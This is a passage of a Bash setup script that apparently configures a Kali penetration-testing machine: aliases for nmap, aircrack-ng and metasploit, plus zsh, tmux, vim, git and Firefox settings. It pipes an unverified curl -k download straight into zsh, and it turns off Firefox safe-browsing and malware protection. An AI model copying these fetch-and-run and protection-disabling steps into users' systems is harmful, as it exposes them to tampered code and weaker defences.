  934. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  935. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  936. grep -q '^## grc diff alias' "${file}" 2>/dev/null \
  937.   || echo -e "## grc diff alias\nalias diff='$(which grc) $(which diff)'\n" >> "${file}"
  938. grep -q '^## grc dig alias' "${file}" 2>/dev/null \
  939.   || echo -e "## grc dig alias\nalias dig='$(which grc) $(which dig)'\n" >> "${file}"
  940. grep -q '^## grc gcc alias' "${file}" 2>/dev/null \
  941.   || echo -e "## grc gcc alias\nalias gcc='$(which grc) $(which gcc)'\n" >> "${file}"
  942. grep -q '^## grc ifconfig alias' "${file}" 2>/dev/null \
  943.   || echo -e "## grc ifconfig alias\nalias ifconfig='$(which grc) $(which ifconfig)'\n" >> "${file}"
  944. grep -q '^## grc mount alias' "${file}" 2>/dev/null \
  945.   || echo -e "## grc mount alias\nalias mount='$(which grc) $(which mount)'\n" >> "${file}"
  946. grep -q '^## grc netstat alias' "${file}" 2>/dev/null \
  947.   || echo -e "## grc netstat alias\nalias netstat='$(which grc) $(which netstat)'\n" >> "${file}"
  948. grep -q '^## grc ping alias' "${file}" 2>/dev/null \
  949.   || echo -e "## grc ping alias\nalias ping='$(which grc) $(which ping)'\n" >> "${file}"
  950. grep -q '^## grc ps alias' "${file}" 2>/dev/null \
  951.   || echo -e "## grc ps alias\nalias ps='$(which grc) $(which ps)'\n" >> "${file}"
  952. grep -q '^## grc tail alias' "${file}" 2>/dev/null \
  953.   || echo -e "## grc tail alias\nalias tail='$(which grc) $(which tail)'\n" >> "${file}"
  954. grep -q '^## grc traceroute alias' "${file}" 2>/dev/null \
  955.   || echo -e "## grc traceroute alias\nalias traceroute='$(which grc) $(which traceroute)'\n" >> "${file}"
  956. grep -q '^## grc wdiff alias' "${file}" 2>/dev/null \
  957.   || echo -e "## grc wdiff alias\nalias wdiff='$(which grc) $(which wdiff)'\n" >> "${file}"
  958. #configure  #esperanto  #ldap  #e  #cvs  #log  #mtr  #ls  #irclog  #mount2  #mount
  959. #--- Apply new aliases
  960. source "${file}" || source ~/.zshrc
  961.  
  962.  
  963. ##### Install bash completion - all users
  964. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bash completion${RESET} ~ tab complete CLI commands"
  965. apt -y -qq install bash-completion \
  966.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  967. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #~/.bashrc
  968. sed -i '/# enable bash completion in/,+7{/enable bash completion/!s/^#//}' "${file}"
  969. #--- Apply new configs
  970. source "${file}" || source ~/.zshrc
  971.  
  972.  
  973. ##### Configure aliases - root user
  974. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}aliases${RESET} ~ CLI shortcuts"
  975. #--- Enable defaults - root user
  976. for FILE in /etc/bash.bashrc ~/.bashrc ~/.bash_aliases; do    #/etc/profile /etc/bashrc /etc/bash_aliases /etc/bash.bash_aliases
  977.   [[ ! -f "${FILE}" ]] \
  978.     && continue
  979.   cp -n $FILE{,.bkup}
  980.   sed -i 's/#alias/alias/g' "${FILE}"
  981. done
  982. #--- General system ones
  983. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  984. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  985. grep -q '^## grep aliases' "${file}" 2>/dev/null \
  986.   || echo -e '## grep aliases\nalias grep="grep --color=always"\nalias ngrep="grep -n"\n' >> "${file}"
  987. grep -q '^alias egrep=' "${file}" 2>/dev/null \
  988.   || echo -e 'alias egrep="egrep --color=auto"\n' >> "${file}"
  989. grep -q '^alias fgrep=' "${file}" 2>/dev/null \
  990.   || echo -e 'alias fgrep="fgrep --color=auto"\n' >> "${file}"
  991. #--- Add in ours (OS programs)
  992. grep -q '^alias tmux' "${file}" 2>/dev/null \
  993.   || echo -e '## tmux\nalias tmux="tmux attach || tmux new"\n' >> "${file}"    #alias tmux="tmux attach -t $HOST || tmux new -s $HOST"
  994. grep -q '^alias axel' "${file}" 2>/dev/null \
  995.   || echo -e '## axel\nalias axel="axel -a"\n' >> "${file}"
  996. grep -q '^alias screen' "${file}" 2>/dev/null \
  997.   || echo -e '## screen\nalias screen="screen -xRR"\n' >> "${file}"
  998. #--- Add in ours (shortcuts)
  999. grep -q '^## Checksums' "${file}" 2>/dev/null \
  1000.   || echo -e '## Checksums\nalias sha1="openssl sha1"\nalias md5="openssl md5"\n' >> "${file}"
  1001. grep -q '^## Force create folders' "${file}" 2>/dev/null \
  1002.   || echo -e '## Force create folders\nalias mkdir="/bin/mkdir -pv"\n' >> "${file}"
  1003. #grep -q '^## Mount' "${file}" 2>/dev/null \
  1004. #  || echo -e '## Mount\nalias mount="mount | column -t"\n' >> "${file}"
  1005. grep -q '^## List open ports' "${file}" 2>/dev/null \
  1006.   || echo -e '## List open ports\nalias ports="netstat -tulanp"\n' >> "${file}"
  1007. grep -q '^## Get header' "${file}" 2>/dev/null \
  1008.   || echo -e '## Get header\nalias header="curl -I"\n' >> "${file}"
  1009. grep -q '^## Get external IP address' "${file}" 2>/dev/null \
  1010.   || echo -e '## Get external IP address\nalias ipx="curl -s http://ipinfo.io/ip"\n' >> "${file}"
  1011. grep -q '^## DNS - External IP #1' "${file}" 2>/dev/null \
  1012.   || echo -e '## DNS - External IP #1\nalias dns1="dig +short @resolver1.opendns.com myip.opendns.com"\n' >> "${file}"
  1013. grep -q '^## DNS - External IP #2' "${file}" 2>/dev/null \
  1014.   || echo -e '## DNS - External IP #2\nalias dns2="dig +short @208.67.222.222 myip.opendns.com"\n' >> "${file}"
  1015. grep -q '^## DNS - Check' "${file}" 2>/dev/null \
  1016.   || echo -e '### DNS - Check ("#.abc" is Okay)\nalias dns3="dig +short @208.67.220.220 which.opendns.com txt"\n' >> "${file}"
  1017. grep -q '^## Directory navigation aliases' "${file}" 2>/dev/null \
  1018.   || echo -e '## Directory navigation aliases\nalias ..="cd .."\nalias ...="cd ../.."\nalias ....="cd ../../.."\nalias .....="cd ../../../.."\n' >> "${file}"
  1019. grep -q '^## Extract file' "${file}" 2>/dev/null \
  1020.   || cat <<EOF >> "${file}" \
  1021.     || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1022.  
  1023. ## Extract file, example. "ex package.tar.bz2"
  1024. ex() {
  1025.   if [[ -f \$1 ]]; then
  1026.     case \$1 in
  1027.       *.tar.bz2) tar xjf \$1 ;;
  1028.       *.tar.gz)  tar xzf \$1 ;;
  1029.       *.bz2)     bunzip2 \$1 ;;
  1030.       *.rar)     rar x \$1 ;;
  1031.       *.gz)      gunzip \$1  ;;
  1032.       *.tar)     tar xf \$1  ;;
  1033.       *.tbz2)    tar xjf \$1 ;;
  1034.       *.tgz)     tar xzf \$1 ;;
  1035.       *.zip)     unzip \$1 ;;
  1036.       *.Z)       uncompress \$1 ;;
  1037.       *.7z)      7z x \$1 ;;
  1038.       *)         echo \$1 cannot be extracted ;;
  1039.     esac
  1040.   else
  1041.     echo \$1 is not a valid file
  1042.   fi
  1043. }
  1044. EOF
  1045. grep -q '^## strings' "${file}" 2>/dev/null \
  1046.   || echo -e '## strings\nalias strings="strings -a"\n' >> "${file}"
  1047. grep -q '^## history' "${file}" 2>/dev/null \
  1048.   || echo -e '## history\nalias hg="history | grep"\n' >> "${file}"
  1049. grep -q '^## Network Services' "${file}" 2>/dev/null \
  1050.   || echo -e '### Network Services\nalias listen="netstat -antp | grep LISTEN"\n' >> "${file}"
  1051. grep -q '^## HDD size' "${file}" 2>/dev/null \
  1052.   || echo -e '### HDD size\nalias hogs="for i in G M K; do du -ah | grep [0-9]$i | sort -nr -k 1; done | head -n 11"\n' >> "${file}"
  1053. grep -q '^## Listing' "${file}" 2>/dev/null \
  1054.   || echo -e '### Listing\nalias ll="ls -l --block-size=1 --color=auto"\n' >> "${file}"
  1055. #--- Add in tools
  1056. grep -q '^## nmap' "${file}" 2>/dev/null \
  1057.   || echo -e '## nmap\nalias nmap="nmap --reason --open --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit"\n' >> "${file}"
  1058. grep -q '^## aircrack-ng' "${file}" 2>/dev/null \
  1059.   || echo -e '## aircrack-ng\nalias aircrack-ng="aircrack-ng -z"\n' >> "${file}"
  1060. grep -q '^## airodump-ng' "${file}" 2>/dev/null \
  1061.   || echo -e '## airodump-ng \nalias airodump-ng="airodump-ng --manufacturer --wps --uptime"\n' >> "${file}"
  1062. grep -q '^## metasploit' "${file}" 2>/dev/null \
  1063.   || (echo -e '## metasploit\nalias msfc="systemctl start postgresql; msfdb start; msfconsole -q \"\$@\""' >> "${file}" \
  1064.     && echo -e 'alias msfconsole="systemctl start postgresql; msfdb start; msfconsole \"\$@\""\n' >> "${file}" )
  1065. [ "${openVAS}" != "false" ] \
  1066.   && (grep -q '^## openvas' "${file}" 2>/dev/null \
  1067.     || echo -e '## openvas\nalias openvas="openvas-stop; openvas-start; sleep 3s; xdg-open https://127.0.0.1:9392/ >/dev/null 2>&1"\n' >> "${file}")
  1068. grep -q '^## mana-toolkit' "${file}" 2>/dev/null \
  1069.   || (echo -e '## mana-toolkit\nalias mana-toolkit-start="a2ensite 000-mana-toolkit;a2dissite 000-default; systemctl restart apache2"' >> "${file}" \
  1070.     && echo -e 'alias mana-toolkit-stop="a2dissite 000-mana-toolkit; a2ensite 000-default; systemctl restart apache2"\n' >> "${file}" )
  1071. grep -q '^## ssh' "${file}" 2>/dev/null \
  1072.   || echo -e '## ssh\nalias ssh-start="systemctl restart ssh"\nalias ssh-stop="systemctl stop ssh"\n' >> "${file}"
  1073. grep -q '^## samba' "${file}" 2>/dev/null \
  1074.   || echo -e '## samba\nalias smb-start="systemctl restart smbd nmbd"\nalias smb-stop="systemctl stop smbd nmbd"\n' >> "${file}"
  1075. grep -q '^## rdesktop' "${file}" 2>/dev/null \
  1076.   || echo -e '## rdesktop\nalias rdesktop="rdesktop -z -P -g 90% -r disk:local=\"/tmp/\""\n' >> "${file}"
  1077. grep -q '^## python http' "${file}" 2>/dev/null \
  1078.   || echo -e '## python http\nalias http="python2 -m SimpleHTTPServer"\n' >> "${file}"
  1079. #--- Add in folders
  1080. grep -q '^## www' "${file}" 2>/dev/null \
  1081.   || echo -e '## www\nalias wwwroot="cd /var/www/html/"\n#alias www="cd /var/www/html/"\n' >> "${file}"
  1082. grep -q '^## ftp' "${file}" 2>/dev/null \
  1083.   || echo -e '## ftp\nalias ftproot="cd /var/ftp/"\n' >> "${file}"
  1084. grep -q '^## tftp' "${file}" 2>/dev/null \
  1085.   || echo -e '## tftp\nalias tftproot="cd /var/tftp/"\n' >> "${file}"
  1086. grep -q '^## smb' "${file}" 2>/dev/null \
  1087.   || echo -e '## smb\nalias smb="cd /var/samba/"\n#alias smbroot="cd /var/samba/"\n' >> "${file}"
  1088. (dmidecode | grep -iq vmware) \
  1089.   && (grep -q '^## vmware' "${file}" 2>/dev/null \
  1090.     || echo -e '## vmware\nalias vmroot="cd /mnt/hgfs/"\n' >> "${file}")
  1091. grep -q '^## edb' "${file}" 2>/dev/null \
  1092.   || echo -e '## edb\nalias edb="cd /usr/share/exploitdb/platforms/"\nalias edbroot="cd /usr/share/exploitdb/platforms/"\n' >> "${file}"
  1093. grep -q '^## wordlist' "${file}" 2>/dev/null \
  1094.   || echo -e '## wordlist\nalias wordlists="cd /usr/share/wordlists/"\n' >> "${file}"
  1095. #--- Apply new aliases
  1096. source "${file}" || source ~/.zshrc
  1097. #--- Check
  1098. #alias
  1099.  
  1100.  
  1101. ##### Install (GNOME) Terminator
  1102. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing (GNOME) ${GREEN}Terminator${RESET} ~ multiple terminals in a single window"
  1103. apt -y -qq install terminator \
  1104.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1105. #--- Configure terminator
  1106. mkdir -p ~/.config/terminator/
  1107. file=~/.config/terminator/config; [ -e "${file}" ] && cp -n $file{,.bkup}
  1108. cat <<EOF > "${file}" \
  1109.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1110. [global_config]
  1111.   enabled_plugins = TerminalShot, LaunchpadCodeURLHandler, APTURLHandler, LaunchpadBugURLHandler
  1112. [keybindings]
  1113. [profiles]
  1114.   [[default]]
  1115.     background_darkness = 0.9
  1116.     scroll_on_output = False
  1117.     copy_on_selection = True
  1118.     background_type = transparent
  1119.     scrollback_infinite = True
  1120.     show_titlebar = False
  1121. [layouts]
  1122.   [[default]]
  1123.     [[[child1]]]
  1124.       type = Terminal
  1125.       parent = window0
  1126.     [[[window0]]]
  1127.       type = Window
  1128.       parent = ""
  1129. [plugins]
  1130. EOF
  1131. #--- Set terminator for XFCE's default
  1132. mkdir -p ~/.config/xfce4/
  1133. file=~/.config/xfce4/helpers.rc; [ -e "${file}" ] && cp -n $file{,.bkup}    #exo-preferred-applications   #xdg-mime default
  1134. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1135. sed -i 's_^TerminalEmulator=.*_TerminalEmulator=debian-x-terminal-emulator_' "${file}" 2>/dev/null \
  1136.   || echo -e 'TerminalEmulator=debian-x-terminal-emulator' >> "${file}"
  1137.  
  1138.  
  1139. ##### Install ZSH & Oh-My-ZSH - root user.   Note:  'Open terminal here', will not work with ZSH.   Make sure to have tmux already installed
  1140. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ZSH${RESET} & ${GREEN}Oh-My-ZSH${RESET} ~ unix shell"
  1141. apt -y -qq install zsh git curl \
  1142.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1143. #--- Setup oh-my-zsh
  1144. timeout 300 curl --progress -k -L -f "https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh" | zsh
  1145. #--- Configure zsh
  1146. file=~/.zshrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/zsh/zshrc
  1147. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1148. grep -q 'interactivecomments' "${file}" 2>/dev/null \
  1149.   || echo 'setopt interactivecomments' >> "${file}"
  1150. grep -q 'ignoreeof' "${file}" 2>/dev/null \
  1151.   || echo 'setopt ignoreeof' >> "${file}"
  1152. grep -q 'correctall' "${file}" 2>/dev/null \
  1153.   || echo 'setopt correctall' >> "${file}"
  1154. grep -q 'globdots' "${file}" 2>/dev/null \
  1155.   || echo 'setopt globdots' >> "${file}"
  1156. grep -q '.bash_aliases' "${file}" 2>/dev/null \
  1157.   || echo 'source $HOME/.bash_aliases' >> "${file}"
  1158. grep -q '/usr/bin/tmux' "${file}" 2>/dev/null \
  1159.   || echo '#if ([[ -z "$TMUX" && -n "$SSH_CONNECTION" ]]); then /usr/bin/tmux attach || /usr/bin/tmux new; fi' >> "${file}"   # If not already in tmux and via SSH
  1160. #--- Configure zsh (themes) ~ https://github.com/robbyrussell/oh-my-zsh/wiki/Themes
  1161. sed -i 's/ZSH_THEME=.*/ZSH_THEME="mh"/' "${file}"   # Other themes: mh, jreese,   alanpeabody,   candy,   terminalparty, kardan,   nicoulaj, sunaku
  1162. #--- Configure oh-my-zsh
  1163. sed -i 's/plugins=(.*)/plugins=(git git-extras tmux dirhistory python pip)/' "${file}"
  1164. #--- Set zsh as default shell (current user)
  1165. chsh -s "$(which zsh)"
  1166.  
  1167.  
  1168. ##### Install tmux - all users
  1169. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}tmux${RESET} ~ multiplex virtual consoles"
  1170. apt -y -qq install tmux \
  1171.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1172. file=~/.tmux.conf; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/tmux.conf
  1173. #--- Configure tmux
  1174. cat <<EOF > "${file}" \
  1175.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1176. #-Settings---------------------------------------------------------------------
  1177. ## Make it like screen (use CTRL+a)
  1178. unbind C-b
  1179. set -g prefix C-a
  1180.  
  1181. ## Pane switching (SHIFT+ARROWS)
  1182. bind-key -n S-Left select-pane -L
  1183. bind-key -n S-Right select-pane -R
  1184. bind-key -n S-Up select-pane -U
  1185. bind-key -n S-Down select-pane -D
  1186.  
  1187. ## Windows switching (ALT+ARROWS)
  1188. bind-key -n M-Left  previous-window
  1189. bind-key -n M-Right next-window
  1190.  
  1191. ## Windows re-ording (SHIFT+ALT+ARROWS)
  1192. bind-key -n M-S-Left swap-window -t -1
  1193. bind-key -n M-S-Right swap-window -t +1
  1194.  
  1195. ## Activity Monitoring
  1196. setw -g monitor-activity on
  1197. set -g visual-activity on
  1198.  
  1199. ## Set defaults
  1200. set -g default-terminal screen-256color
  1201. set -g history-limit 5000
  1202.  
  1203. ## Default windows titles
  1204. set -g set-titles on
  1205. set -g set-titles-string '#(whoami)@#H - #I:#W'
  1206.  
  1207. ## Last window switch
  1208. bind-key C-a last-window
  1209.  
  1210. ## Reload settings (CTRL+a -> r)
  1211. unbind r
  1212. bind r source-file /etc/tmux.conf
  1213.  
  1214. ## Load custom sources
  1215. #source ~/.bashrc   #(issues if you use /bin/bash & Debian)
  1216.  
  1217. EOF
  1218. [ -e /bin/zsh ] \
  1219.   && echo -e '## Use ZSH as default shell\nset-option -g default-shell /bin/zsh\n' >> "${file}"
  1220. cat <<EOF >> "${file}"
  1221. ## Show tmux messages for longer
  1222. set -g display-time 3000
  1223.  
  1224. ## Status bar is redrawn every minute
  1225. set -g status-interval 60
  1226.  
  1227.  
  1228. #-Theme------------------------------------------------------------------------
  1229. ## Default colours
  1230. set -g status-bg black
  1231. set -g status-fg white
  1232.  
  1233. ## Left hand side
  1234. set -g status-left-length '34'
  1235. set -g status-left '#[fg=green,bold]#(whoami)#[default]@#[fg=yellow,dim]#H #[fg=green,dim][#[fg=yellow]#(cut -d " " -f 1-3 /proc/loadavg)#[fg=green,dim]]'
  1236.  
  1237. ## Inactive windows in status bar
  1238. set-window-option -g window-status-format '#[fg=red,dim]#I#[fg=grey,dim]:#[default,dim]#W#[fg=grey,dim]'
  1239.  
  1240. ## Current or active window in status bar
  1241. #set-window-option -g window-status-current-format '#[bg=white,fg=red]#I#[bg=white,fg=grey]:#[bg=white,fg=black]#W#[fg=dim]#F'
  1242. set-window-option -g window-status-current-format '#[fg=red,bold](#[fg=white,bold]#I#[fg=red,dim]:#[fg=white,bold]#W#[fg=red,bold])'
  1243.  
  1244. ## Right hand side
  1245. set -g status-right '#[fg=green][#[fg=yellow]%Y-%m-%d #[fg=white]%H:%M#[fg=green]]'
  1246. EOF
  1247. #--- Setup alias
  1248. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  1249. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1250. grep -q '^alias tmux' "${file}" 2>/dev/null \
  1251.   || echo -e '## tmux\nalias tmux="tmux attach || tmux new"\n' >> "${file}"    #alias tmux="tmux attach -t $HOST || tmux new -s $HOST"
  1252. #--- Apply new alias
  1253. source "${file}" || source ~/.zshrc
  1254.  
  1255.  
  1256. ##### Configure screen ~ if possible, use tmux instead!
  1257. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}screen${RESET} ~ multiplex virtual consoles"
  1258. #apt -y -qq install screen \
  1259. #  || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1260. #--- Configure screen
  1261. file=~/.screenrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1262. if [[ -f "${file}" ]]; then
  1263.   echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1264. else
  1265.   cat <<EOF > "${file}"
  1266. ## Don't display the copyright page
  1267. startup_message off
  1268.  
  1269. ## tab-completion flash in heading bar
  1270. vbell off
  1271.  
  1272. ## Keep scrollback n lines
  1273. defscrollback 1000
  1274.  
  1275. ## Hardstatus is a bar of text that is visible in all screens
  1276. hardstatus on
  1277. hardstatus alwayslastline
  1278. hardstatus string '%{gk}%{G}%H %{g}[%{Y}%l%{g}] %= %{wk}%?%-w%?%{=b kR}(%{W}%n %t%?(%u)%?%{=b kR})%{= kw}%?%+w%?%?%= %{g} %{Y} %Y-%m-%d %C%a %{W}'
  1279.  
  1280. ## Title bar
  1281. termcapinfo xterm ti@:te@
  1282.  
  1283. ## Default windows (syntax: screen -t label order command)
  1284. screen -t bash1 0
  1285. screen -t bash2 1
  1286.  
  1287. ## Select the default window
  1288. select 0
  1289. EOF
  1290. fi
  1291.  
  1292.  
  1293. ##### Install vim - all users
  1294. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vim${RESET} ~ CLI text editor"
  1295. apt -y -qq install vim \
  1296.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1297. #--- Configure vim
  1298. file=/etc/vim/vimrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #~/.vimrc
  1299. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1300. sed -i 's/.*syntax on/syntax on/' "${file}"
  1301. sed -i 's/.*set background=dark/set background=dark/' "${file}"
  1302. sed -i 's/.*set showcmd/set showcmd/' "${file}"
  1303. sed -i 's/.*set showmatch/set showmatch/' "${file}"
  1304. sed -i 's/.*set ignorecase/set ignorecase/' "${file}"
  1305. sed -i 's/.*set smartcase/set smartcase/' "${file}"
  1306. sed -i 's/.*set incsearch/set incsearch/' "${file}"
  1307. sed -i 's/.*set autowrite/set autowrite/' "${file}"
  1308. sed -i 's/.*set hidden/set hidden/' "${file}"
  1309. sed -i 's/.*set mouse=.*/"set mouse=a/' "${file}"
  1310. grep -q '^set number' "${file}" 2>/dev/null \
  1311.   || echo 'set number' >> "${file}"                                                                      # Add line numbers
  1312. grep -q '^set expandtab' "${file}" 2>/dev/null \
  1313.   || echo -e 'set expandtab\nset smarttab' >> "${file}"                                                  # Set use spaces instead of tabs
  1314. grep -q '^set softtabstop' "${file}" 2>/dev/null \
  1315.   || echo -e 'set softtabstop=4\nset shiftwidth=4' >> "${file}"                                          # Set 4 spaces as a 'tab'
  1316. grep -q '^set foldmethod=marker' "${file}" 2>/dev/null \
  1317.   || echo 'set foldmethod=marker' >> "${file}"                                                           # Folding
  1318. grep -q '^nnoremap <space> za' "${file}" 2>/dev/null \
  1319.   || echo 'nnoremap <space> za' >> "${file}"                                                             # Space toggle folds
  1320. grep -q '^set hlsearch' "${file}" 2>/dev/null \
  1321.   || echo 'set hlsearch' >> "${file}"                                                                    # Highlight search results
  1322. grep -q '^set laststatus' "${file}" 2>/dev/null \
  1323.   || echo -e 'set laststatus=2\nset statusline=%F%m%r%h%w\ (%{&ff}){%Y}\ [%l,%v][%p%%]' >> "${file}"     # Status bar
  1324. grep -q '^filetype on' "${file}" 2>/dev/null \
  1325.   || echo -e 'filetype on\nfiletype plugin on\nsyntax enable\nset grepprg=grep\ -nH\ $*' >> "${file}"    # Syntax highlighting
  1326. grep -q '^set wildmenu' "${file}" 2>/dev/null \
  1327.   || echo -e 'set wildmenu\nset wildmode=list:longest,full' >> "${file}"                                 # Tab completion
  1328. grep -q '^set invnumber' "${file}" 2>/dev/null \
  1329.   || echo -e ':nmap <F8> :set invnumber<CR>' >> "${file}"                                                # Toggle line numbers
  1330. grep -q '^set pastetoggle=<F9>' "${file}" 2>/dev/null \
  1331.   || echo -e 'set pastetoggle=<F9>' >> "${file}"                                                         # Hotkey - turning off auto indent when pasting
  1332. grep -q '^:command Q q' "${file}" 2>/dev/null \
  1333.   || echo -e ':command Q q' >> "${file}"                                                                 # Fix stupid typo I always make
  1334. #--- Set as default editor
  1335. export EDITOR="vim"   #update-alternatives --config editor
  1336. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1337. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1338. grep -q '^EDITOR' "${file}" 2>/dev/null \
  1339.   || echo 'EDITOR="vim"' >> "${file}"
  1340. git config --global core.editor "vim"
  1341. #--- Set as default mergetool
  1342. git config --global merge.tool vimdiff
  1343. git config --global merge.conflictstyle diff3
  1344. git config --global mergetool.prompt false
  1345.  
  1346.  
  1347. ##### Install git - all users
  1348. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}git${RESET} ~ revision control"
  1349. apt -y -qq install git \
  1350.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1351. #--- Set as default editor
  1352. git config --global core.editor "vim"
  1353. #--- Set as default mergetool
  1354. git config --global merge.tool vimdiff
  1355. git config --global merge.conflictstyle diff3
  1356. git config --global mergetool.prompt false
  1357. #--- Set as default push
  1358. git config --global push.default simple
  1359.  
  1360.  
  1361. ##### Setup firefox
  1362. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}firefox${RESET} ~ GUI web browser"
  1363. apt -y -qq install unzip curl firefox-esr \
  1364.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1365. #--- Configure firefox
  1366. export DISPLAY=:0.0
  1367. timeout 15 firefox >/dev/null 2>&1                # Start and kill. Files needed for first time run
  1368. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1369. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'prefs.js' -print -quit)
  1370. [ -e "${file}" ] \
  1371.   && cp -n $file{,.bkup}   #/etc/firefox-esr/pref/*.js
  1372. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1373. sed -i 's/^.network.proxy.socks_remote_dns.*/user_pref("network.proxy.socks_remote_dns", true);' "${file}" 2>/dev/null \
  1374.   || echo 'user_pref("network.proxy.socks_remote_dns", true);' >> "${file}"
  1375. sed -i 's/^.browser.safebrowsing.enabled.*/user_pref("browser.safebrowsing.enabled", false);' "${file}" 2>/dev/null \
  1376.   || echo 'user_pref("browser.safebrowsing.enabled", false);' >> "${file}"
  1377. sed -i 's/^.browser.safebrowsing.malware.enabled.*/user_pref("browser.safebrowsing.malware.enabled", false);' "${file}" 2>/dev/null \
  1378.   || echo 'user_pref("browser.safebrowsing.malware.enabled", false);' >> "${file}"
  1379. sed -i 's/^.browser.safebrowsing.remoteLookups.enabled.*/user_pref("browser.safebrowsing.remoteLookups.enabled", false);' "${file}" 2>/dev/null \
  1380.   || echo 'user_pref("browser.safebrowsing.remoteLookups.enabled", false);' >> "${file}"
  1381. sed -i 's/^.*browser.startup.page.*/user_pref("browser.startup.page", 0);' "${file}" 2>/dev/null \
  1382.   || echo 'user_pref("browser.startup.page", 0);' >> "${file}"
  1383. sed -i 's/^.*privacy.donottrackheader.enabled.*/user_pref("privacy.donottrackheader.enabled", true);' "${file}" 2>/dev/null \
  1384.   || echo 'user_pref("privacy.donottrackheader.enabled", true);' >> "${file}"
  1385. sed -i 's/^.*browser.showQuitWarning.*/user_pref("browser.showQuitWarning", true);' "${file}" 2>/dev/null \
  1386.   || echo 'user_pref("browser.showQuitWarning", true);' >> "${file}"
  1387. sed -i 's/^.*extensions.https_everywhere._observatory.popup_shown.*/user_pref("extensions.https_everywhere._observatory.popup_shown", true);' "${file}" 2>/dev/null \
  1388.   || echo 'user_pref("extensions.https_everywhere._observatory.popup_shown", true);' >> "${file}"
  1389. sed -i 's/^.network.security.ports.banned.override/user_pref("network.security.ports.banned.override", "1-65455");' "${file}" 2>/dev/null \
  1390.   || echo 'user_pref("network.security.ports.banned.override", "1-65455");' >> "${file}"
  1391. #--- Replace bookmarks (base: http://pentest-bookmarks.googlecode.com)
  1392. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'bookmarks.html' -print -quit)
  1393. [ -e "${file}" ] \
  1394.   && cp -n $file{,.bkup}   #/etc/firefox-esr/profile/bookmarks.html
  1395. #timeout 300 curl --progress -k -L -f "http://pentest-bookmarks.googlecode.com/files/bookmarksv1.5.html" > /tmp/bookmarks_new.html \
  1396. #  || echo -e ' '${RED}'[!]'${RESET}" Issue downloading bookmarks_new.html" 1>&2      #***!!! hardcoded version! Need to manually check for updates
  1397. #--- Configure bookmarks
  1398. #awk '!a[$0]++' /tmp/bookmarks_new.html \
  1399. #  | \egrep -v ">(Latest Headlines|Getting Started|Recently Bookmarked|Recent Tags|Mozilla Firefox|Help and Tutorials|Customize Firefox|Get Involved|About Us|Hacker Media|Bookmarks Toolbar|Most Visited)</" \
  1400. #  | \egrep -v "^    </DL><p>" \
  1401. #  | \egrep -v "^<DD>Add" > "${file}"
  1402. sed -i 's#^</DL><p>#        </DL><p>\n    </DL><p>\n</DL><p>#' "${file}"                                          # Fix import issues from pentest-bookmarks...
  1403. sed -i 's#^    <DL><p>#    <DL><p>\n    <DT><A HREF="http://127.0.0.1/">localhost</A>#' "${file}"                 # Add localhost to bookmark toolbar (before hackery folder)
  1404. sed -i 's#^</DL><p>#    <DT><A HREF="https://127.0.0.1:8834/">Nessus</A>\n</DL><p>#' "${file}"                    # Add Nessus UI bookmark toolbar
